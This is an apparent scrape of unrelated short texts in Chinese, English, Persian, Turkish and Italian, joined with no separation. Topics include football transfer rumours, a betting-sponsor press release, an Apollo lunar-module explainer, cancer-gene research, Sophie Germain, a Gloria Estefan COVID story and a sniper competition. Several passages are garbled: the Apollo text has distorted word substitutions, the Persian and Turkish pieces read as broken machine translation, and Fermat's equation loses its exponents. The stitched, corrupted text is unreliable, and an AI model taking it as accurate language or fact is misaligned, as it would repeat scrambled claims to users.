虎撲4月20日訊雖然租借在多特蒙德后衛阿什拉夫回歸皇馬一直是一個被熱炒的話題，但是對于皇馬來說，這也是一個雙向選擇?！恶R卡報》記者Jose Felix Diaz表示，皇馬目前還在研究未來的可能性，包括將球員出售。
此前阿什拉夫多次在采訪中表示，希望回到皇馬踢球，但是也要求自己能夠得到重視。而目前皇馬擁有卡瓦哈爾，甚至還外租著奧德里奧索拉，這樣的情況下，阿什拉夫如果回歸自然要面對激烈的競爭。
另一方面，阿什拉夫在市場上有很不錯的行情，不僅是多特蒙德希望能夠買斷，此前拜仁也曾詢問皇馬對于阿什拉夫的計劃。而對于皇馬來說，多特蒙德還擁有哈蘭德這樣的目標，兩家俱樂部的良好關系讓一切都變得存在可能。
JFD表示，如果去年馬競將阿什拉夫賣出8000萬歐元，那么皇馬也相信阿什拉夫可以有不錯的價格球員在轉會市場上股價最高曾經達到6000萬歐元。
當然，對于球員和俱樂部來說，首選永遠是回歸皇馬。阿什拉夫在皇馬拉法布利卡長大，而且與齊達內家族有著非常親密的關系。
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直播吧4月21日訊 梅西讓球隊簽勞塔羅？內馬爾回不回巴薩？世體主編Francesc Aguilar連發數條推特，詳解勞塔羅--內馬爾--格列茲曼--姆巴佩等人的轉會幕后故事。
Francesc Aguilar表示：“在簽下勞塔羅-馬丁內斯一事上牽扯到梅西有點過分，許多人把他歸結為巴薩對勞塔羅興趣的煽動者，但其實梅西沒說過任何話。他對所有的相關報道感到擔憂。
“梅西不希望他的朋友、兄弟蘇亞雷斯認為他支持勞塔羅到來，根據一些消息，如果這筆轉會中格列茲曼拒絕離開，那么蘇亞雷斯就要和巴薩說再見了。
“事實是巴薩俱樂部，尤其是巴托梅烏希望簽回內馬爾，這也的確得到了眾人包括梅西和蘇亞雷斯的支持。
“巴托梅烏把寶壓在內馬爾身上，巴西人是他的第一目標，哪怕這會導致勞塔羅交易的失敗。然而格列茲曼一再重申自己不想離開巴薩，不想被加入任何轉會，這打亂了巴托梅烏的計劃。
“‘老佛爺”的計劃是盡力不讓姆巴佩和巴黎續約，等到下賽季自己就可以出手，皇馬甚至于姆巴佩的父親達成了一份協議。
“回到勞塔羅一事，由于阿圖爾是非賣品，國米一直只想要比達爾，但相比球員互換，國米更希望巴薩支付1.11億歐元的現金。
“國米也試過讓勞塔羅續約，從而去除解約金條款，薩內蒂負責說服勞塔羅至少再待一個賽季。但問題是球員自己更希望現在就轉會，而非明年。勞塔羅希望和梅西并肩作戰，而他的經紀人則在策劃更豐富的報價?！?/p>
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中新網客戶端4月20日電 20日，據西班牙媒體報道，西甲豪門皇家馬德里計劃在今年夏天賣掉貝爾等6名球員，回收1.21億歐元。
皇馬計劃賣掉的球員包括貝爾、J羅、巴斯克斯、馬里亞諾、奧德里奧索拉以及納喬。如果可以賣掉這6人，這將使皇馬球員年薪的總額降低7500萬歐元。
根據德國轉會市場網站數據，貝爾和J羅目前身價均為3200萬歐元，盧卡斯和奧德里奧索拉身價為1600萬歐元，馬里亞諾身價1300萬歐元，納喬身價1200萬歐元。
報道稱，為引援騰出名額是“大清洗”的原因之一，皇馬一線名外租球員，他們必須賣出部分球員才能簽下新球星。(完)
yabo BY 2020-04-21 | 分類 默認分類0 個評論
曼徹斯特2020年2月18日 /美通社/ -- 北京時間2019年9月16日，英超曼聯足球俱樂部（Manchester United Football Club）官方宣布：自2019-2020賽季起，亞博體育（YABO SPORTS）正式成為曼聯全球官方合作伙伴及全球贊助商。同年12月20日，曼聯與亞博體育共同舉辦了一場隆重的品牌盛典，亞博體育代表迪恩·霍克斯（Dean Hawks）、曼聯客戶合作總監艾登·弗林（Aidan Flynn）與多位曼聯傳奇球星齊聚曼切斯特，雙方的強強聯合將現場的氣氛推向高潮。
作為亞洲體育娛樂平臺的領軍者，亞博體育以精湛專業的技術團隊、精彩紛呈的體育賽事和極致豪華的游戲體驗征服市場，憑借登峰造極的創新研發實力、堅若磐石的絕佳信譽確立了行業主導地位，發展至今收獲了百萬量級的忠實用戶群體。亞博體育與曼聯此次強強聯手，將致力于詮釋彼此“締造偉業”的精神使命，為球迷呈現全球頂級體育賽事及多元化互動娛樂體驗。
共同的品牌理念與企業精神是雙方合作的基礎，此次合作建立在雙方高度協同的“高品質、誠信、卓越、協作”價值觀之上，曼聯客戶合作總監艾登·弗林（Aidan Flynn）認為：“曼聯與亞博體育都擁有業界傳奇的品牌形象，都在致力于使自己成為各自領域的領導者，我非常歡迎亞博體育成為曼聯的全球合作伙伴，這將是一次令人興奮的強強聯手?！?/p>
亞博體育代表迪恩·霍克斯（Dean Hawks）補充道：“亞博體育正在迅速成為全球品牌，所以在此刻宣告參與國際足球項目正當其時。我們希望以一種完全超越傳統贊助形式的模式與足球銜接。Yabo Sports與曼聯都代表了彼此領域內的最高品質，曼切斯特聯足球俱樂部是我們全球化戰略的完美合作伙伴，我相信本次的合作將是兩個傳奇品牌的完美結合！”
盛典現場，三位傳奇球星星光閃耀 -- 曼聯名宿韋斯·布朗（Wes Brown）、安德魯·科爾（Andrew Cole）、布萊恩·羅布森（Bryan Robson）的亮相成為聚光燈下的焦點。未來，亞博體育將借助曼聯全球超
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月舱把两位宇航员和收集的样本送回来，终究回家的班车只要指令舱。
从中能够看出美国人对登月舱的质量把控很严厉，尽可能削减着陆的质量是由于质量越大，起飞所需的能量越大。其次，质量和月球起飞所需的能量意味着燃料，能量是速度的平方，换句话说月球逃逸速度与地球的逃逸速度大约是1:5，这意味着咱们逃离地球需求5倍的速度，实际上需求25倍的能量，也便是25倍的燃料。
但是不只是是这样：
阿波罗号并不需求从月球逃逸，它只需求进入环月轨迹与指令舱对接，因而只需求抵达月球的榜首国际速度1.8km/s。
土星五号动身时的总重量包含了去程与返程的燃料，荷载更大，而从月球起飞，只是只需求升空飞到月球轨迹上，所以下来时并没有那么大的荷载，巨细的份额进一步加大。
阿波罗号登陆时是上晋级与下降级一同登陆的，当要升空时，下降级作为发射架留在了月球上，只要上晋级升空，份额进一步加大。
综上从月球起飞的火箭只需求登月舱自身，并不需求额定的火箭助推，而回地球的工作则交给燃料足够的服务舱，终究服务舱与指令舱脱离，指令舱进入大气层掉进海里。
图：指令舱与服务舱别离日期: 2018年03月27日
导读：近期，哈佛医学院和布莱根妇女医院的一项最新研究发现了上百个致癌基因，而且不同组织类型对这些基因具有惊人的敏感性差异。这有助于加深科学家们对正常细胞增殖和恶性细胞增殖的理解，同时也解释了为什么个体癌症驱动因素只会出现在某些肿瘤中。下面，赛业小编为您推荐“Cell：不同组织类型对致癌基因有巨大差异的影响”，详情如下：
哈佛医学院和布莱根妇女医院的一项最新研究发现了上百个致癌基因，而且不同组织类型对这些基因具有惊人的敏感性差异。
这一研究成果公布在3月22日Cell杂志上，这将有助于加深科学家们对正常细胞增殖和恶性细胞增殖的理解，同时也解释了为什么个体癌症驱动因素只会出现在某些肿瘤中。
文章的通讯作者，哈佛医学院遗传学和医学教授Stephen Elledge说：“调控胰腺癌的基因能促进胰腺细胞增殖，但不能促进乳腺细胞增殖，反之亦然。这项研究观察到的不同细胞对不同基因的应答反应差异史无前例。”
隐藏的玩家
虽然说细胞生长和分裂，细胞增殖对于维持生物机体健康至关重要，但是对于癌细胞来说，细胞增殖无法踩住刹车，不受控制。
一些基因发生了突变，导致了有害的增殖。即使其它基因没有出错，癌细胞依然由于这些驱动基因的问题而不断增殖。
科学家们十分希望能识别这些过度活跃的基因，但是很难，因为它们不会被基因测序所标记。为此Elledge的实验室联合其他实验室，设计了另一种方法来找到它们。
研究人员构建了一个包含30,000个单独条形码基因（约为80％基因）的文库。他们收集了一些细胞，将一个基因放入其中，然后研究人员让这些细胞在同一个容器中生长，而不是分别培养。几天后，细胞以不同的速率增殖，他们就利用条形码来确定哪些基因能够促进生长。
实验包括三种非癌组织的细胞：乳腺细胞，胰腺细胞和成纤维细胞。
结果显示，所有基因中的10％可以调节增殖。其中一些通过DNA测序研究已经证实与癌症相关，但许多还未得到研究。
Elledge表示，研究发现了大约250个之前未发现与正常或异常细胞增殖相关的基因。
惊人的差异性
令人吃惊的是每种组织类型对相同基因活性作出了不同的反应。
“我们没有意识到这种差异性会有这么大，”Elledge说，“最相近的两个基因也有90％的差异。”
在一种组织中能促进增殖的基因在另外一种组织中几乎没有任何作用，甚至抑制增殖。
“这让我震惊。一个基因家族成员能令乳腺细胞像癌细胞一样快速增殖，但在其它细胞中竟然没有任何作用。”
研究结果表明，组织类型在癌症遗传学中发挥的作用比以前认识到的要大，在设计旨在抑制细胞增殖的治疗时应该考虑到这一点，Elledge说。
这也解释了为什么靶向相同增殖驱动因素的药物有时可以在某些癌症中起作用，有时不行。
Elledge说：“这项工作对那些希望基于一种驱动突变研发针对所有组织细胞类型的治疗方法来说，是一个提醒。在一种组织中有效并不代替这种药物在其它地方也有效。”
更广泛的图集
这项研究为深入探索提供了新的工具，Elledge表示：“癌症很多，但治疗方法匮乏，我们还在构建我们的治疗工具包。这项工作表明值得关注这些全新的基因。”
原文标题：
Profound Tissue Specificity in Proliferation Control Underlies Cancer Drivers and Aneuploidy Patterns
本文来自生物通，转载的目的在于分享见解。如有侵权，请告知删除！——赛业生物科技有限公司
干细胞技术服务：
肿瘤细胞技术服务World War One and its Legacy
In 2014 the world marked the 100th anniversary of the outbreak of the First World War. The centenary represented a significant act of commemoration both in the UK and internationally. The Imperial War Museum is leading activities in this area and the AHRC, in partnership with IWM, the Heritage Lottery Fund, the BBC and other organisations, continues to ensure that arts and humanities research plays a central role in the commemoration, bringing new perspectives and interpretations to bear on our understanding of the War and its legacy, sparking contemporary resonances and inspiring public interest.
Now in 2018 we mark the centenary of the declaration of peace which brought the four years of war to an end. Commemorations are taking place around the country, including events, seminars, films as well as blogs submitted by experts and members of the public. Visit our special 'WW1 Centenary news and events' page (link below) to see how you can take part in this special anniversary.
You can bookmark this special section too, with our easy to remember web address: ahrc.ukri.org/WW1.Captain America Fortnite'a Geliyor
Bu hafta Fortnite'a gelin ve İlk Avenger'ı kapın: Captain America!
Bugün içerik mağazasına eklenen Captain America'nın kıyafeti şunları da içeriyor: Adamantiyum kazması ve sırt süsü. Bu kalkanı ister kazma yerine kullanın ister sırtınıza takıp herkesi çatlatın.
Ayrıca, Gösterişli Selam ifadesiyle Captain America'nın gelişini de kutlayabilirsiniz. İfadeyi aşağıda görebilirsiniz!Today marks the 237th birthday of the French mathematician Sophie Germain (1776-1831). Germain was barely a teenager when the turmoil of the French revolution forced her to spend much of her time locked safely indoors. With not much else to do, Germain read her way through her father’s library and found herself deeply interested in the works on Archimedes, Sir Isaac Newton, and Leonhard Euler.
As you can imagine, Mathematics was not a proper subject for a young woman to learn, so she spent most of her life working by correspondence under the male pen name “Antoine-August Le Blanc.” Due to her interest in number theory inspired by Archimedes, she corresponded with many famous mathematicians specializing in number theory, such as Joseph Louis Lagrange, Adrien-Marie Legendre, and Carl Friedrich Gauss. She sent them her work and enticed so much interest from them that she eventually had to admit her true identity. Lagrange continued to be her mentor, while Gauss replied with the following remarkable quote:
“The enchanting charms of this sublime science reveal themselves in all their beauty only to those who have the courage to go deeply into it. But when a person of that sex, that, because of our mores and our prejudices, has to encounter infinitely more obstacles and difficulties than men in familiarizing herself with these thorny research problems, nevertheless succeeds in surmounting these obstacles and penetrating their most obscure parts, she must without doubt have the noblest courage, quite extraordinary talents and superior genius.”
Germain later became interested in a contest by the Paris Academy of Sciences “to give the mathematical theory of the vibration of an elastic surface and to compare the theory to experimental evidence.” This was essentially a brand new field of mathematics and the amount of work and innovation involved scared away potential candidates. Germain was in fact the only participant in the competition. Despite her immense talent, her submission to the contest was riddled with errors due to her lack of formal education. The Academy extended the contest multiple times and Germain persisted. She continued to work on the problem and presented an improved solution at every iteration. Her persistence paid off, her third submission was accepted and she became the first woman to win a prize from the Academy in all of its long history beginning in 1666. However monumental the win, Germain still not allowed, as a woman, to attend sessions at the Academy until many years later due to a friendship with mathematician Joseph Fourier (Fourier Series, discovered greenhouse effects).
After the years spent working in the contest in elasticity theory, Germain returned her first love, number theory. More specifically, she focused on Fermat’s Last Theorem.
You may recall Fermat’s famous theorem which proposed, in 1637, that for any three integers a, b, and c, an + bn = cn cannot be true for any integer value for n greater than 2. Perhaps even more famous is Fermat’s note about his theorem: “I have discovered a truly marvelous proof of this, which this margin is too narrow to contain.” The puzzle of discovering Fermat’s “marvelous proof” has been the world’s most difficult mathematics problem ever since.
Germain did the first major advancement on proving Fermat’s Last Theorem in 200 years since its inception. Prior to Germain, Fermat’s Last Theorem had only been proven by other mathematicians for n values 3, 5, and 7. Germain worked a subset of the original theorem, known as Sophie Germain’s Theorem:
“Let p be an odd prime. If there exists an auxiliary prime P = 2Np + 1 such that if xp + yp + zp = 0 (mod P) then P divides xyz, and p is not a pth power residue (mod P). Then the first case of Fermat’s Last Theorem holds true for p.”
Germain’s work proved the theorem for all primes smaller than 100. It wasn’t a full proof, but it was a big step forward.
While her work in elasticity was fundamental to the field, she remains most famous for her work on Fermat’s Last Theorem–in my book at least, but I have a soft spot for Fermat’s Last Theorem. Please join me today
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”.
وی سپس آزمایش COVID-19 مثبت و در خانه برای دو هفته قرنطینه کرد. او همچنین “کمی سرفه” و کم آبی بدن را تجربه کرد.
او هفته گذشته دو بار در یک آزمایش منفی از جنگل بیرون آمده است.
GLORIA ESTEFAN می گوید این “دشوار” است که از دختری که از EMILY بازدید می کند به عنوان همجنسگرا بیرون می رود
استیفان گفت: “من بسیار خوش شانس بودم ، اما فقط می خواستم به شما بگویم که در قرنطینه هستم و روزی بیرون رفتم و با مردی ماسک پوشیدم.” صحبت می کند ، اما باید اتفاقی در آنجا افتاده باشد. “
همانطور که مقامات بهداشتی این کار را انجام داده اند ، خواننده کنگایی از طرفداران خود خواسته است ماسک صورت بزنند و از افراد دیگر شش فوت فاصله داشته باشند.
Estefan ، خواننده گرمی ، دارای منافع تجاری متعددی در جنوب فلوریدا است ، که به شدت تحت تأثیر همه گیر قرار گرفته است. او به همراه همسرش امیلیو استیفان دارای یک رستوران به سبک کوبایی ، هتلی در ساحل میامی و سهام NFL’s Miami Dolphins است.
برای دریافت برنامه FOX NEWS اینجا را کلیک کنید
روز چهارشنبه ، مقامات بهداشتی فلوریدا نزدیک به 10 هزار مورد تایید شده جدید از ویروس ها و 96 مورد مرگ و میر جدید را گزارش کردند که منجر به بیش از 19000 مرگ شد. روز سه شنبه ، این ایالت از 1 میلیون مورد تایید شده COVID-19 فراتر رفت و در رسیدن به آن مرحله به تگزاس و کالیفرنیا پیوست.
برای ثبت نام در بولتن تفریحی خود اینجا را کلیک کنید
افزایش موارد در چند هفته گذشته در فلوریدا بالاترین میزان از ابتدای ماه اوت است ، زمانی که این ایالت از جزر و مد ویروس در حال بهبود است. روز چهارشنبه حدود 4200 بیمار با COVID-19 در بیمارستان بستری شدند.
آسوشیتدپرس در این گزارش مشارکت داشته است
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منبع: technical-news.irThe most important language pattern in NLP is from the Miltonmodel the Embedded Command. People nowadays don’t like to be commanded. Nevertheless, the strongest form of suggestion is the command. People unconsciously still want to be led. You embed a command by putting at least one word in front of it. That way you overcome people’s dislike of being commanded while at the same time satisfy their desire to be led.
With Socrates, Greek taste changes in favor of logical argument. What really happened there? Above all, a noble taste is vanquished; with dialectics the plebs come to the top. Before Socrates, argumentative conversation was repudiated in good society: it was considered bad manners, compromising. The young were warned against it. Furthermore, any presentation of one’s motives was distrusted. Honest things, like honest men, do not have to explain themselves so openly. What must first be proved is worth little. Wherever authority still forms part of good bearing, where one does not give reasons but commands, the logician is a kind of buffoon: one laughs at him, one does not take him seriously. Socrates was the buffoon who got himself taken seriously: what really happened there?
Twilight of the Idols, The Problem of Socrates, paragraph 5Book Title: Steps to Success: Crossing the Bridge Between Literacy Research and Practice
Download this book
Book Description: Steps to Success: Crossing the Bridge Between Literacy Research and Practice introduces instructional strategies linked to the most current research-supported practices in the field of literacy. The book includes chapters related to scientifically-based literacy research, early literacy development, literacy assessment, digital age influences on children’s literature, literacy development in underserved student groups, secondary literacy instructional strategies, literacy and modern language, and critical discourse analysis. Chapters are written by authors with expertise in both college teaching and the delivery of research-supported literacy practices in schools. The book features detailed explanations of a wide variety of literacy strategies that can be implemented by both beginning and expert practitioners. Readers will gain knowledge about topics frequently covered in college literacy courses, along with guided practice for applying this knowledge in their future or current classrooms. The book’s success-oriented framework helps guide educators toward improving their own practices and is designed to foster the literacy development of students of all ages.
Steps to Success: Crossing the Bridge Between Literacy Research and Practice by Kristen A. Munger is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License, except where otherwise noted.Cavalcando le onde in Amazzonia
Questo articolo apparso su Repubblica.it ci segnala che è stata avvistata e documentata un'onda di oltre qattro metri nel fiume Araguarì, in Amazzonia.
Il tipo di onda in questione è chiamata "Pororoca" ed è formata dallo scontro di una marea molto forte, con il potente flusso di acqua che scorre lungo i fiumi. Il surfista brasiliano che è riuscito a cavalcarla per ben 29 minuti, non è riuscito a battere il record, fissato a 33 minuti e ben 10 chilometri percorsi. Per gli appassionati di surf segnalo il sito della rivista online Surf News, dove c'è una bella testimonianza.Özel keskin nişancı çiftleri özel kuvvetlerinin uluslararası yarışmaları son ve en dinamik aşamaya girdi - en ünlü teröristlerin çekimleri başladı.
Keskin nişancının çarpışma çalışmasının özellikleri, sadece kanunları çiğneyen değil, aynı zamanda genellikle kanda elleri olan toplum için de gerçek bir tehdit haline gelen ilk vuruşun ortadan kaldırılmasını sağlamaktır.
Sadece bir keskin nişancı avının suçluyu doğru bir şekilde tanımlamanıza ve yalnızca rehineler veya ajanları olabileceği başkalarına zarar vermeden onu yok etmesine izin verdiği birçok durum vardır.
Krasnodar Bölgesi'nde düzenlenen yarışmaların en ilginç aşamaları bir dereceye kadar savaş çalışmalarının özellikleriyle ilgilidir ve bu sadece atış doğruluğu için bir yarışma değil.
Bir yabancı için, yürüyüş çalısı gibi görünmesini sağlayan, ölüm cezasına çarptırılanların fotoğraflarını çeken, dikkatlice inceleyen, cebine gizleyen ve tüfeği hazırlayan, yavaşça işe yarayan bir kılığa girmiş bir tetikçiyi izlemek muhtemelen çok korkutucu. Doğru, fotoğraflar, başkalarının hayatlarını çok fazla yatırıp, uzun süre adil bir intikam alması gerekenleri gösteriyor.
"Özgüllük" aşaması bütünüyle en zor olanıydı tarih rekabet. Alarm halinde yükselen ve dağlara giden oklar hala karanlık, yürüdü, sadece harita tarafından yönlendirildi, on kilometre boyunca, hareket sırasında mayın tuzakları ve pusularının olabileceğini bilerek, hareket halindeyken önceden tespit edip bir şekilde etrafta dolaşmak zorunda kaldı.
Teröristlerin şartlı temeli bu kez uzun ot ve çalılıklarla kaplı bir orman dağında bulunuyordu. Efsaneye göre, dışarıdan teröristlerden ayırt edilemeyecek dört gizli çalışan çetede çalıştı - onları “öldürmek” kesinlikle yasaktı. Hedeflerin belirlenmesi ve elimine edilmesi için en fazla on beş dakika verildi. Çoğu zaman kime ateş edileceğini belirlemek için harcandı. "Tasfiye" nin kendisi birkaç dakika sürdü.
Üsse giden yol çok yorucu oldu ve atış koşulları o kadar zordu ki, keskin nişancıların gangsterlerle birlikte kaçak göçmenlerini yok etmeleri oldu. Görevi yapan gruplar olmasına rağmen mükemmeldi.
Daha az yoğun ve ilginç aşama - kılık değiştirme. İki günde belli bir yerde çok önemli bir teröristin bir araya geleceği ve tek bir atışla ortadan kaldırılması gerektiği bildirildi. Keskin nişancı çifti gece tekrar dışarı çıkar ve karanlıkta, birkaç metre geçerek görülemeyecek şekilde önbellek hazırlar. Bu durumda, pusulanızı hiçbir şey vermeden iki gün boyunca içinde yatmak mümkün olacak şekilde donatmak gerekir. Hakimler kılık değiştirip kontrol ettikten sonra takıma bir şans verildi. Çay tabağı büyüklüğünde bir hedef, çalılıkların üç yüz metre arkasına, uzun otlara ve bir çeşit çitin altına yerleştirildi.
Hakimlere göre, tüm ekipler kendilerini profesyonelce gizlemişlerdi, özellikle de Sırpları, Çinlileri ve cumhurbaşkanlığı güvenlik servisini not ettiler - bu artılar neredeyse her şeyde. Ancak, özellikle tehlikeli bir düşmanı “yok etmek” için, her şeyin başladığı uğruna, ilk yirmi altı takımın sadece onunu kaldırabiliriz.
Böylece en doğru oklar bile “lekeliyor”. Çok bağlıdır оружия. Maalesef, yerli sanayi dünya çapında bir keskin nişancı tüfeğinin üretimini geliştiremedi ve ustalaştıramadı. Şimdiye kadar, bazı keskin nişancılar Mosin trilineas kullanıyor. Ancak on dokuzuncu yüzyılda yarattı. Şimdi Batı'da silah satın almaya izin verildi. Özel bir
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del Palmeiras. Durante il recupero del secondo tempo, con il risultato di 1-0 per gli ospiti, alcuni supporter hanno dapprima lanciato svariati oggetti in campo, tra cui un coltello; poi due di loro hanno invaso il terreno di gioco per affrontare i giocatori del Palmeiras. Solo l’intervento dei calciatori di casa ha impedito ai tifosi di raggiungere quelli del Verdao, evitando conseguenze molto peggiori.
L’ufficiale del DRADE (Commissione di polizia per la repressione dei crimini sportivi) Cesar Saad ha dichiarato: “Durante i minuti di recupero, due tifosi hanno invaso il campo, uno di loro ha attaccato fisicamente un atleta del Palmeiras, e il secondo è stato trattenuto dagli stessi giocatori del San Paolo. Nello stesso momento, alcuni oggetti sono stati lanciati in campo. Dopo aver ascoltato arbitri e atleti, ci siamo accorti che insieme agli altri oggetti era stato lanciato anche un coltello. Inizialmente pensavamo che uno dei tifosi invasori volesse tentare di aggredire un giocatore del Palmeiras proprio con quel coltello…“.
Scene di pura follia…İlk etap maçları Japonya’nın Nagoya kenti ile ülkemizde Antalya’da devam eden 2023 FIVB Milletler Ligi maçlarında alınan sonuçlara göre FIVB Dünya sıralamasında önemli değişiklikler olmaya devam ediyor.
Antalya’da devam eden 2023 FIVB Milletler Ligi 1. Etap maçlarında üçte üç yapan A Kadın Milli Takımımız, Avrupa ve Dünya sıralamalarında Sırbistan ve İtalya gibi kendisinden üstte bulunan takımları yenerek aldığı puanlarla birer basamak yükseldi.
Milli Takımlar sezonuna FIVB Dünya sıralamasında 7., CEV Avrupa sıralamasında 3. olarak giren Milli Takımımız, VNL 1. Etabında oynadığı üç maçla kazandığı 28 puanla hem Avrupa’da hem de Dünya’da yükselişe geçti.
Güney Kore maçından 2,85, Sırbistan maçından 11,99 ve İtalya maçından 13,16 puan alan Filenin Sultanları FIVB Dünya Sıralamasında 327,13 puana yükseldi ve 6. basamağa geldi. Avrupa Sıralamasında ise ikinci sıradaki İtalya’yı yenen Milli Takımımız 311 puana ulaştı ve ikinci sıraya yükseldi.
FIVB Voleybol Dünya Sıralaması Nasıl Güncelleniyor
2021 Yılından itibaren sıralama güncelleme sistemi değiştirilen yeni dinamik sıralama sistemi, takımlar arasındaki her maçı sıralama puanları ekleme veya çıkarma olarak değerlendiriyor. FIVB Voleybol Dünya Sıralaması, Olimpiyat Oyunları ve Dünya Voleybol Şampiyonaları için kalifikasyon ve sıralamada temel bir rol oynuyor.
Algoritma, her iki takımın skoruna ve geçmiş maç verilerine dayanarak, maçın altı sonucunun (3-0, 3-1, 3-2, 2-3, 1-3 veya 0-3) tüm olasılıklarını hesaplar. Maçın gerçek sonucu daha sonra önceden hesaplanmış olan beklenen sonuçlarla karşılaştırılır. Bir takım beklentilerin üzerinde performans gösterir ve beklentileri aşarsa, takım dünya sıralamasında puan alır. Takım düşük performans gösterirse, takım dünya sıralaması puanlarını kaybeder. Gerçek maç sonucu en çok beklenen sonuca ne kadar yakınsa, kazanılacak ve kaybedilecek dünya sıralaması puanlarının sayısı o kadar az olur.
- Olimpiyat Oyunları ve kalifikasyon
- Dünya Şampiyonaları ve kalifikasyon
- Voleybol Uluslar Ligi
- Voleybol Challenger Kupası
- Dünya Kupası
- Kıta Şampiyonaları ve kalifikasyon
- FIVB, Kıta Konfederasyonları tarafından en az dört katılımcı takımla düzenlenen yıllık resmi müsabakalar dahil olmak üzere uluslararası etkinlikleri kabul etti.
Yeni Dünya Sıralama Sistemi, taraftarların takımlarının başarısını takip etmesini ve onları bir rakiple karşılaştırmasını kolaylaştırıyor ve resmi müsabakalarda en iyi şekilde oynayan takımlar için daha adaletli bir sıralama tekniği oluşturuyor.JAKARTA, Indonesia, Oct. 26 — Determined to lead the discussion on climate change among developing nations, the Indonesian government spent much of the past week recruiting countries to join it in pressing richer nations to provide incentives to reduce carbon emissions.
President Susilo Bambang Yudhoyono made a direct plea on Wednesday at the start of a two-day gathering of 40 environment ministers near this capital, a precursor to the United Nations Climate Change Conference to be held in Bali in December.
The environment minister of Indonesia, Rachmat Witoelar, said earlier this month that he wanted rich countries to pay up to $20 a hectare, or 2.47 acres, to preserve its dwindling forests.
At the meeting this week, Indonesia began mobilizing countries like Brazil, Mexico, Congo, Cameroon, Costa Rica, Malaysia and Papua New Guinea, which with Indonesia contain most of the world’s rain forests.
Indonesia has been spearheading the discussion on climate change among developing nations since it offered the venue for the December conference, which aims to solidify a new global climate deal before the 1997 Kyoto Protocol expires in 2012. Many world leaders are expected to join the tens of thousands attending the conference in Bali.
“We can’t do this alone,” said Indonesia’s deputy environment minister, Masnellyarti Hilman. “Developed countries need to help us because they have the money, the financing and the technology. We need their help if we are going reduce emissions and not sacrifice our future development.”
But in its efforts to lead the debate, Indonesia has also opened up its own environmental record to scrutiny. A World Bank report released this year cited Indonesia as one of the top three emitters of greenhouse gases, mostly because of rampant cutting of its forests, persistent wildfires and cultivation of its carbon-rich peat bogs. Industrialization and mining are also major contributors to carbon emissions.
The Indonesian government did not address how it would check illegal logging.Continue reading the main storySembra che l’attuale cast stia collaborando con Quentin Tarantino per il suo nuovo film di Star Trek
Non si sa molto del film di Tarantino su Star Trek, ma ci sono state voci e speculazioni sul fatto che potrebbe non presentare l’attuale cast dei film di Star Trek, ma un cast diverso o addirittura una nave e un equipaggio diversi.
Non è però quello che ha sentito la star Zachary Quinto, interprete di Spock: “La mia ipotesi è che invece sarà con noi”, ha detto Quinto sul podcast Happy Sad Confused. “È così che è stato detto.”
Quinto ha proseguito dicendo che niente a Hollywood è mai definitivo fino a quando non si è scritta la parola fine.
“Sai, fino a quando gli accordi non sono fatti e i contratti non sono firmati e i programmi non sono stati fissati, nulla è scolpito nella pietra, quindi tutto può succedere”, ha detto. “Quello che ho capito è che Quentin aveva questa idea e la stavano plasmando e formando, ma ora lui sta lavorando al suo film su Manson. E sarebbe quindi tutto rimandato per fare il film con lui. Il che è piuttosto eccitante, piuttosto interessante. ”
L’inclusione dell’equipaggio della timeline Kelvin avrebbe, in qualche modo, ovviamente, confermato che il film di Tarantino si svolge in quella timeline. Tarantino è un fan di vecchia data di Star Trek e in precedenza si diceva che la sua filosofia di creare un film di Star Trek fosse quella di prendere uno degli episodi della serie originale e farlo esplodere in un budget cinematografico per gli schermi cinematografici. Stare nella timeline di Kelvin gli avrebbe dato l’opportunità di fare proprio questo, esplorare come gli eventi di un episodio classico avrebbero potuto relazionarsi con il cast e il budget di un film, senza interferire con la continuità della prima timeline.
Naturalmente, JJ Abrams ha tentato qualcosa di simile con Star Trek Into Darkness, rivisitando gli eventi del film Star Trek II nella timeline di Kelvin; però, mentre il film ha avuto successo, non è stato ben accolto dai fan.
Va detto che questa è una speculazione. La Paramount non ha offerto alcun rumour sulla sceneggiatura di Tarantino. Per ora, chiunque sia coinvolto nel franchise è probabilmente incentrato su Star Trek 4, che sarà diretto da SJ Clarkson.Le considerazioni ambientali nei materiali d'imballaggio
Wacom usa carta certificata FSC per realizzare il cartone impiegato negli imballaggi dei prodotti e nei manuali d'istruzione. La certificazione FSC è un sistema internazionale che valuta e certifica che le foreste vengano gestite adeguatamente in considerazione dell'ambiente e delle comunità locali e certifica inoltre che la carta sia prodotta a partire da foreste che soddisfano questi standard. Wacom spera di contribuire alla prevenzione del disboscamento illegale. Fai clic qui per vedere lo stato del nostro impiego di carta certificata FSC per i materiali da imballaggio.
Nelle zone in cui è difficile applicare lo standard della carta certificata FSC viene usato il cotone, ad esempio per avvolgere i prodotti ed evitare graffi ad alimentatori AC, penne e custodie delle penne, realizzate con acido polilattico (PLA)* di origine vegetale.
Usiamo inoltre una serie di materiali ecocompatibili per gli imballaggi ed evitiamo il più possibile di ricorrere a plastiche derivanti dal petrolio.
Per ulteriori informazioni sul nostro impiego di acido polilattico (PLA) e plastiche derivate da combustibili fossili, fai clic qui.
* L'acido polilattico (PLA) è una plastica da biomassa ottenuta mediante amido e zucchero derivanti da piante come il mais e la canna da zucchero; si decompone in acqua e anidride carbonica per mezzo dell'azione di microorganismi, anche se viene smaltita nel terreno.Do you remember Little Shop of Horrors? The musical where a huge cannibal plant named Audrey II, with cries of ‘Feeeeed meehhh, Seymour!’, comes to take over an entire city? The show ends with a raucous musical number offering the audience one piece of advice: Don’t Feed the Plants.
Well, we reckon we might just have found Audrey II’s real life equivalent. Rafflesia cantleyi, the parasitic ‘corpse flower’ (don’t ya just love it already?) of Borneo/Malaysia has been revealed to exhibit some very creepy behaviour indeed. Not content with just smelling like rotten flesh to attract flies and scavenging beetles as pollinators (what’s wrong with a nice bee, that’s what we want to know? They’re fuzzy and like honey), it has been revealed that the cadaverous bloom has been going around stealing chunks of its host plant’s DNA.
The corpse plant, you see, is a parasite. It attaches itself to grape vines, figuring that if grape plants are daft enough to grow their own structures, then the corpse plant isn’t going to be mug enough not to use them. But now scientists from Harvard University’ Herbaria have discovered that the creepy corpse plant is actually using the poor grapes for much more than just support: it’s taking what they are.
The corpse plant now has a section of its genetic code which is more like its host’s genes than it’s own – despite the two plants being genetically separated by more than a hundred million years of evolution.
And as if the whole thing wasn’t odd enough, the scientists who discovered this aren’t even entirely sure why ol’ corpsey is doing this. ‘At the outset, we wondered if it could be that a subset of these genes might provide some defence from the host mounting an attack,’ said Harvard's Professor Charles Davis.
